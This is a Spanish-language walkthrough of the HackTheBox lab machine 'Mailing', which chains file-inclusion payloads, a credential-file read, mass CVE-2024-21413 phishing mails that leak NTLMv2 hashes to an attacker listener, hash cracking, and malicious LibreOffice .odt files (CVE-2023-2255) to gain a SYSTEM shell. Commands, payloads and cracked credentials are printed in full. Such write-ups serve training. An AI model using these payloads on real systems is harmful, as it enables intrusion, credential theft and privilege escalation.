Mailing – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

‘Mailing’ Avatar


Resumen Link to heading

Mailing es una máquina de dificultad fácil de la plataforma HackTheBox. Luego de performar un escaneo inicial con Nmap, somos capaces de ver que la máquina víctima está corriendo un servicio web. Encontramos un recurso en esta página web que es vulnerable a Local File Inclusion, lo que nos permite leer un archivo de configuración de un servicio and extract y extraer una contraseña para este servicio. Abusando de la vunlerabilidad CVE-2024-21413, enviamos múltiples mails maliciosos; con esto somos capaces de leer el hash NTLMv2 de uno de los usuarios que abre uno de los mails maliciosos y somos capaces de crackear su contraseña. Este usuario es capaz de conectarse a través del servicio WinRM en la máquina víctima, lo cual nos permite ganar acceso inicial a ésta. Una vez dentro, podemos ver que hay un directorio ejecutando/abriendo archivos .odt. Es entonces que usamos la vulnerabilidad CVE-2023-2255 para inyectar código en archivos .odt los cuales están siendo ejecutados. Este código está siendo privilegiado por un usuario privilegiado del sistema, lo que finalmente nos permite ganar control total sobre éste.


User / Usuario Link to heading

Empezando con un escaneo con Nmap nos muestra múltiples puertos abiertos: 25 Simple Mail Transfer Protocol (SMTP), 80 HTTP (corriendo Microsoft IIS), 110 Post Office Protocol (POP3), 135 Microsoft RPC, 143 Internet Message Access Protocol (IMAP), 445 Server Message Block (SMB), 465, 587 hMailServer y 5985 Windows Remote Management (WinRM):

❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.14

Aplicando scripts de reconocimientos y escaneo de versiones, tenemos:

❯ sudo nmap -sVC -p25,80,110,135,139,143,445,465,587,993,5040,5985,7680,47001,49664,49665,49666,49667,49668,49669 10.10.11.14 

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-02 21:10 -04
Nmap scan report for 10.10.11.14
Host is up (0.28s latency).

PORT      STATE SERVICE       VERSION
25/tcp    open  smtp          hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://mailing.htb
110/tcp   open  pop3          hMailServer pop3d
|_pop3-capabilities: USER UIDL TOP
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp   open  imap          hMailServer imapd
|_imap-capabilities: IDLE CHILDREN IMAP4rev1 SORT completed CAPABILITY QUOTA IMAP4 OK RIGHTS=texkA0001 ACL NAMESPACE
445/tcp   open  microsoft-ds?
465/tcp   open  ssl/smtp      hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
587/tcp   open  smtp          hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
993/tcp   open  ssl/imap      hMailServer imapd
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
|_imap-capabilities: IDLE CHILDREN IMAP4rev1 SORT completed CAPABILITY QUOTA IMAP4 OK RIGHTS=texkA0001 ACL NAMESPACE
|_ssl-date: TLS randomness does not represent time
5040/tcp  open  unknown
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-06-03T01:13:13
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 215.54 seconds

Del escaneo, puedo ver que http://10.10.11.14 redirige a http://mailing.htb, de manera que agrego este dominio a mi archivo /etc/hosts corriendo:

❯ echo '10.10.11.14 mailing.htb' | sudo tee -a /etc/hosts

Visitando http://mailing.htb nos presenta un sitio web el cual habla sobre estafas y amenazas de phishing que ocurren pueden ocurrir mediante servicios de mail. El sitio web dice que utiliza como servicio hMailServer:

Información
hMailServer is a free, open source, e-mail server for Windows|Microsoft Windows. It’s used by Internet service providers, companies, governments, schools and enthusiasts in all parts of the world. It supports the common e-mail protocols (IMAP, SMTP and POP3) and can easily be integrated with many existing web mail systems. It has flexible score-based spam protection and can attach to your virus scanner to scan all incoming and outgoing email.

En resumen, es una herramienta para securizar los mails.

Mailing 1

Si vamos a la parte inferior de la página web, podemos ver un botón que dice Download Instructions. Si lo clickeamos, éste descarga un archivo llamado instructions.pdf. Tal cual dice el nombre del archivo, éste muestra instrucciones de cómo instalar hMailServer en sistemas operativos Windows y Linux.

Mailing 2

Cuando pongo my mouse sobre Download Instructions puedo ver que éste lleva a la ruta mailing.htb/download.php?file=instructions.pdf. Decido entonces ver qué es lo que ocurre cuando descargamos el instructivo interceptando la petición con Burpsuite. Interceptando el request, tenemos:

GET /download.php?file=instructions.pdf HTTP/1.1
Host: mailing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://mailing.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Envío esta petición al Repeater, me aseguro de que esté enviando peticiones a HTTP en lugar de HTTPs (clickeando, en el Repeater, en la parte superior derecha en el ícono de lápiz y deseleccionando la opción Use HTTPs). Por ejemplo, si buscamos por un directorio que claramente no existe en el sistema obtenemos:

GET /test HTTP/1.1
Host: mailing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://mailing.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Obtenemos el código de error 404: archivo o directorio no encontrado.

Mailing 3

Si buscamos en la petición que descargaba el instructivo, pero ahora por un archivo que no existe, el servidor nos devuelve File not found.:

Mailing 4

Entonces es que veremos si el parámetro file de la petición es vulnerable a Local File Inclusion (LFI). Descargo una “lista de payloads de LFI” desde este repositorio de Github. Luego, uso la herramienta ffuf para empezar a buscar por respuestas HTTP válidas. Luego de filtrar por algunos falsos positivos, obtenemos:

❯ ffuf -X GET -w LFI_payloads.txt -u 'http://mailing.htb/download.php?file=FUZZ' -fw 3,71 -t 55

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://mailing.htb/download.php?file=FUZZ
 :: Wordlist         : FUZZ: /home/gunzf0x/HTB/HTBMachines/Easy/Mailing/content/LFI_payloads.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 55
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 3,71
________________________________________________

\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 157ms]
\..\..\WINDOWS\win.ini  [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 158ms]
\..\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 154ms]
\..\..\..\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 154ms]
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69 [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 154ms]
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69 [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 158ms]
\..\..\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 158ms]
<SNIP>
\\\..\..\..\..\..\..\windows\\\system32\\\drivers\\\etc\\\hosts [Status: 200, Size: 849, Words: 172, Lines: 24, Duration: 162ms]
../../windows/win.ini   [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 160ms]
\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 158ms]
\..\..\WINDOWS\win.ini  [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 158ms]
\..\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 162ms]
\..\..\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 162ms]
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69 [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 149ms]
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69 [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 150ms]
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69 [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 150ms]
\..\..\..\..\..\..\WINDOWS\win.ini [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 150ms]
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69 [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 159ms]
%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69 [Status: 200, Size: 92, Words: 6, Lines: 8, Duration: 153ms]
:: Progress: [70466/70466] :: Job [1/1] :: 303 req/sec :: Duration: [0:03:29] :: Errors: 6 ::

Por ejemplo, si elijo el payload \\\..\..\..\windows\\\system32\\\drivers\\\etc\\\hosts y lo paso al parámetro file de download.php en Burpsuite obtenemos:

GET /download.php?file=\\\..\..\..\windows\\\system32\\\drivers\\\etc\\\hosts HTTP/1.1
Host: mailing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://mailing.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Mailing 5

Confirmamos que podemos leer archivos a través de un LFI.

Leyendo archivos de configuración de la documentación de hMailServer, se dice que, por defecto, el programa está instalado en C:\Program Files\hMailServer. Adicionalmente, podemos ver la estructura de carpetas de hMailServer de la documentación también. Para resumir, los datos importantes/sensibles debería estar localizado en un directorio llamado /Bin. Leyendo la documentación “Starting the server” dice que debería de existir un archivo llamado hMailServer.INI. Finalmente, leyendo cómo cambiar la contraseña de hMailServer podemos ver que este archivo, hMailServer.ini, almacena credenciales. Como se puede ver en la siguiente imagen de ejemplo (la cual se provee en el último link mencionado), muestran que este archivo está almacenado en la ruta C:\Program Files\hMailServer\Bin\hMailServer.INI.

Mailing 6

Intentamos un LFI para leer este archivo:

GET /download.php?file=\\\..\..\..\Program+Files\\\hMailServer\\\Bin\\\hMailServer.INI HTTP/1.1
Host: mailing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://mailing.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Mailing 7

Pero no funciona. No obstante, si cambiamos Program Files a Program Files (x86) sí obtenemos algo:

GET /download.php?file=\\\..\..\..\Program+Files+(x86)\\\hMailServer\\\Bin\\\hMailServer.INI HTTP/1.1
Host: mailing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://mailing.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Mailing 8

Encontramos el hash de una contraseña: 841bb5acfa6779ae432fd7a4e6600ba7 para una variable llamada AdministratorPassword.

Intentando un Brute Force Password Cracking con la página Crackstation (https://crackstation.net/) nos retorna algo:

Mailing 9

Obtenemos una contraseña: homenetworkingadministrator.

Buscando por exploits para hMailServer nos lleva a la vulnerabilidad CVE-2024-21413. Esta vulnerabilidad no es para hMailServer en sí, sino que es para Microsoft Outlook Remote Code Execution (RCE), aunque aplica para mails. Buscando por una Proof of concept para esta vulnerabilidad encontramos este repositorio de Github. Básicamente, éste nos permitiria extraer el hash NTLMv2 de cualquier usuario que abra el mail malicioso (y si es que su versión de Outlook se encuentra desactualizada). Para esto, simplemente empezamos un listener con la herramienta Responder antes de empezar con el ataque:

❯ sudo responder -I tun0 -wvd

Como sea, todavía no tenemos usuarios. Para ver si podemos obtenerlos, decido volver al sitio web. Allí podemos ver 3 potenciales usuarios:

Mailing 10

Creo un archivo de estos potenciales usuarios, donde la primera columna es el primer nombre de la persona y la segunda columna es su apellido:

❯ cat team_names.txt

Ruy Alonso
Maya Bendito
Gregory Smith

Hace ya un tiempo atrás, creé un script en Python (el cual puede ser descargado desde mi repositorio) el cual crea potenciales usuarios basados en una lista como la que hemos generado.

Corriéndolo crea una lista llamada potential_usernames.txt en el directorio actual de trabajo:

❯ python3 ~/HackTools/CreatePotentialUsernames/create_potential_usernames.py -l team_names.txt

[+] Total number of persons: 3
[+] Total combinations/potential users added: 24
[+] Data saved as '/home/gunzf0x/HTB/HTBMachines/Easy/Mailing/content/potential_users.txt'


❯ cat potential_users.txt | head -n 5

ralonso
rualonso
r.alonso
ru.alonso
ruyalonso
<SNIP>

Ahora, usando el exploit de CVE-2024-21413, enviamos múltiples mails en un oneliner de Bash. Dado que hemos encontrado el valor de la variable AdministratorPassword del archivo hMailServer.INI, asumo que el usuario se llama administrator (y, por ende, su email es administrator@mailing.htb) basados en este post. Es así que enviamos múltiples mails como el usuario administrator@mailing.htb (lo cual en un entorno real haría que el ataque sea mucho menos sospechoso) con su contraseña:

❯ for user in $(cat potential_users.txt); do python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password 'homenetworkingadministrator' --sender administrator@mailing.htb --recipient "${user}@mailing.htb" --url "\\10.10.16.6\meetings" --subject "Urgent meeting" | grep -vE 'CVE-2024-21413|Alexander Hagenah'; echo "[+] Email sent to '${user}@mailing.htb'"; done

✅ Email sent successfully.
[+] Email sent to 'ralonso@mailing.htb'


✅ Email sent successfully.
[+] Email sent to 'rualonso@mailing.htb'
<SNIP>
✅ Email sent successfully.
[+] Email sent to 'gregory.smith@mailing.htb'


✅ Email sent successfully.
[+] Email sent to 'gregory@mailing.htb'

<SNIP>

Luego de unos segundos, obtenemos un hash NTLMv2 en Responder:

❯ sudo responder -I tun0

<SNIP>
[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.11.14
[SMB] NTLMv2-SSP Username : MAILING\maya
[SMB] NTLMv2-SSP Hash     : maya::MAILING:6c10dd8070e57430:137948D065440DF9AC802EB0284E2129:01010000000000000083A79E45B5DA019057A551906D004C0000000002000800520055004B004A0001001E00570049004E002D005400360045004300560033004400320041004700440004003400570049004E002D00540036004500430056003300440032004100470044002E00520055004B004A002E004C004F00430041004C0003001400520055004B004A002E004C004F00430041004C0005001400520055004B004A002E004C004F00430041004C00070008000083A79E45B5DA010600040002000000080030003000000000000000000000000020000073387648E67CA5AB00CB5880ADB0D42E7453C4DD8074F6F77F09272FB7F09CF80A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0036000000000000000000
[*] Skipping previously captured hash for MAILING\maya
[*] Skipping previously captured hash for MAILING\maya
[*] Skipping previously captured hash for MAILING\maya
[*] Skipping previously captured hash for MAILING\maya
[*] Skipping previously captured hash for MAILING\maya
[*] Skipping previously captured hash for MAILING\maya

Guardo este hash en un archivo llamado maya_hash, e intento, de nuevo, un Brute Force Password Cracking con JohnTheRipper:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt maya_hash

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
m4y4ngs4ri       (maya)
1g 0:00:00:20 DONE (2024-06-02 23:43) 0.04901g/s 290886p/s 290886c/s 290886C/s m5681687..m3skl3s
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Tenemos credenciales: maya:m4y4ngs4ri

Reviso si me puedo conectar con estas credenciales a través de WinRM con la herramienta NetExec:

❯ netexec winrm 10.10.11.14 -u 'maya' -p 'm4y4ngs4ri'

WINRM       10.10.11.14     5985   MAILING          [*] Windows 10 / Server 2019 Build 19041 (name:MAILING) (domain:MAILING)
WINRM       10.10.11.14     5985   MAILING          [+] MAILING\maya:m4y4ngs4ri (Pwn3d!)

y podemos.

Me logueo a través de evil-winrm en la máquina víctima como el usuario maya:

❯ evil-winrm -i 10.10.11.14 -u 'maya' -p 'm4y4ngs4ri'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\maya\Documents>whoami

mailing\maya

De donde podemos obtener la flag de usuario en el Escritorio del usuario maya.


NT Auhority/System - Administrator Link to heading

Si revisamos qué softwares tiene instalada la máquina víctima, podemos ver LibreOffice:

*Evil-WinRM* PS C:\Users\maya\Documents> ls C:\'program files'\


    Directory: C:\program files


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         2/27/2024   5:30 PM                Common Files
d-----          3/3/2024   4:40 PM                dotnet
d-----          3/3/2024   4:32 PM                Git
d-----         4/29/2024   6:54 PM                Internet Explorer
d-----          3/4/2024   6:57 PM                LibreOffice
d-----          3/3/2024   4:06 PM                Microsoft Update Health Tools
d-----         12/7/2019  10:14 AM                ModifiableWindowsApps
d-----         2/27/2024   4:58 PM                MSBuild
d-----         2/27/2024   5:30 PM                OpenSSL-Win64
d-----         3/13/2024   4:49 PM                PackageManagement
d-----         2/27/2024   4:58 PM                Reference Assemblies
d-----         3/13/2024   4:48 PM                RUXIM
d-----         2/27/2024   4:32 PM                VMware
d-----          3/3/2024   5:13 PM                Windows Defender
d-----         4/29/2024   6:54 PM                Windows Defender Advanced Threat Protection
d-----          3/3/2024   5:13 PM                Windows Mail
d-----          3/3/2024   5:13 PM                Windows Media Player
d-----         4/29/2024   6:54 PM                Windows Multimedia Platform
d-----         2/27/2024   4:26 PM                Windows NT
d-----          3/3/2024   5:13 PM                Windows Photo Viewer
d-----         4/29/2024   6:54 PM                Windows Portable Devices
d-----         12/7/2019  10:31 AM                Windows Security
d-----         3/13/2024   4:49 PM                WindowsPowerShell

Esto me trajo recuerdos de Vietnam de la máquina HackTheBox Office, dado que en aquella vez tuvimos que inyectar un payload por medio de la vulnerabilidad CVE-2023-2255, usando este exploit. Repetiré eso. Clono el repositorio y, luego, genero un simple payload:

❯ git clone https://github.com/elweth-sec/CVE-2023-2255.git

Cloning into 'CVE-2023-2255'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 10 (delta 2), reused 5 (delta 0), pack-reused 0
Receiving objects: 100% (10/10), 8.47 KiB | 456.00 KiB/s, done.
Resolving deltas: 100% (2/2), done.

❯ cd CVE-2023-2255

❯ python3 CVE-2023-2255.py --cmd 'net user gunzf0x gunzf0x123$ /add' --output 'adduser.odt'

File adduser.odt has been created !

donde 10.10.16.6 es mi IP de atacante y 443 es el puerto en el cual me pondré en escucha con netcat. Aquí introduzco un payload el cual creará un usuario con credenciales gunzf0x:gunzf0x123$.

Subo el archivo .odt malicioso a la máquina víctima usando el comando upload de evil-winrm:

*Evil-WinRM* PS C:\Users\maya\Documents> upload adduser.odt

Una vez el archivo ha sido subido a la máquina víctima, ejecuto, por ejemplo, el payload corriendo:

*Evil-WinRM* PS C:\Users\maya\Documents> Start-Process "C:\Program Files\LibreOffice\program\soffice.exe" -ArgumentList "C:\Users\maya\Documents\adduser.odt"

Pero no ocurre nada.

Por lo que existe la opción de que el usuario que corre el payload no tiene los privilegios suficientes para crear un nuevo usuario.

Analizando diferentes directorios, en C:\ puedo ver una carpeta llamada Important Documents.

*Evil-WinRM* PS C:\> ls C:\


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          6/3/2024   6:38 AM                Important Documents
d-----         2/28/2024   8:49 PM                inetpub
d-----         12/7/2019  10:14 AM                PerfLogs
d-----          3/9/2024   1:47 PM                PHP
d-r---         3/13/2024   4:49 PM                Program Files
d-r---         3/14/2024   3:24 PM                Program Files (x86)
d-r---          3/3/2024   4:19 PM                Users
d-----          6/3/2024   6:40 AM                Windows
d-----         4/12/2024   5:54 AM                wwwroot

Reviso sus permisos con icacls, donde veo que puedo subir archivos allí como el usuario maya:

*Evil-WinRM* PS C:\> icacls 'C:\Important Documents'

C:\Important Documents MAILING\maya:(OI)(CI)(M)
                       BUILTIN\Administradores:(I)(OI)(CI)(F)
                       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                       BUILTIN\Usuarios:(I)(OI)(CI)(RX)
                       NT AUTHORITY\Usuarios autentificados:(I)(M)
                       NT AUTHORITY\Usuarios autentificados:(I)(OI)(CI)(IO)(M)

Successfully processed 1 files; Failed processing 0 files

De manera que decido copiar el archivo .odt malicioso en este directorio:

*Evil-WinRM* PS C:\Users\maya\Documents> cmd.exe /c copy C:\Users\maya\Documents\adduser.odt 'C:\Important Documents\adduser.odt'

Luego de algunos segundos, si chequeamos usuarios con el comando net user, nuestro usuario agregado está allí:

*Evil-WinRM* PS C:\Users\maya\Documents> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrador            DefaultAccount           gunzf0x
Invitado                 localadmin               maya
WDAGUtilityAccount
The command completed with one or more errors.

De manera que ha sido creado. Además, el archivo .odt que estaba en el directorio C:\Important Documents\ es eliminado.

Tomando ventaja del hecho de que ya hemos creado un usuario, trataré de agregar a éste al grupo Administrators. Chequeando al usuario Administrador (Administrator en español), éste pertenece a los grupos:

*Evil-WinRM* PS C:\Users\maya\Documents> net user Administrador
User name                    Administrador
Full Name
Comment                      Cuenta integrada para la administraci¢n del equipo o dominio
User's comment
Country/region code          000 (System Default)
Account active               No
Account expires              Never

Password last set            2024-06-03 6:20:06 AM
Password expires             Never
Password changeable          2024-06-03 6:20:06 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administradores
Global Group memberships     *Ninguno
The command completed successfully.

donde el grupo Administradores es el que llama mi atención.

Creo un nuevo payload en mi máquina de atacante el cual agregará al usuario gunzf0x al grupo Administradores (o Administrators en inglés):

❯ python3 CVE-2023-2255.py --cmd 'net localgroup Administradores gunzf0x /add' --output 'privuser.odt'

File privuser.odt has been created !

Lo subimos a la máquina víctima y lo copiamos dentro del directorio Important Documents:

*Evil-WinRM* PS C:\Users\maya\Documents> upload privuser.odt

<SNIP>

*Evil-WinRM* PS C:\Users\maya\Documents> cmd.exe /c copy C:\Users\maya\Documents\privuser.odt 'C:\Important Documents\privuser.odt'

        1 file(s) copied.

Luego de algunos segundos, si reviso los grupos de mi usuario agregado:

*Evil-WinRM* PS C:\Users\maya\Documents> net user gunzf0x

User name                    gunzf0x
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2024-06-03 6:35:44 AM
Password expires             2024-07-15 6:35:44 AM
Password changeable          2024-06-03 6:35:44 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administradores      *Usuarios
Global Group memberships     *Ninguno
The command completed successfully.

vemos que éste pertenece al grupo Administradores (o Administrators).

Reviso si tenemos acceso por el servicio SMB con este nuevo falso administrador:

❯ netexec smb 10.10.11.14 -u 'gunzf0x' -p 'gunzf0x123$'

SMB         10.10.11.14     445    MAILING          [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB         10.10.11.14     445    MAILING          [+] MAILING\gunzf0x:gunzf0x123$ (Pwn3d!)

Y lo tenemos. Es así que usaré psexec.py de Impacket junto con rlwrap para obtener una shell como el usuario nt/authority system:

❯ rlwrap -cAr python3 /usr/share/doc/python3-impacket/examples/psexec.py gunzf0x:'gunzf0x123$'@mailing.htb

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Requesting shares on mailing.htb.....
[*] Found writable share ADMIN$
[*] Uploading file CCgKtget.exe
[*] Opening SVCManager on mailing.htb.....
[*] Creating service puII on mailing.htb.....
[*] Starting service puII.....
[!] Press help for extra shell commands
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [Versi�n 10.0.19045.4355]

(c) Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32> whoami

nt authority\system

Y eso es todo. Podemos leer la flag root.txt en el Escritorio del usuario localadmin.

~Happy Hacking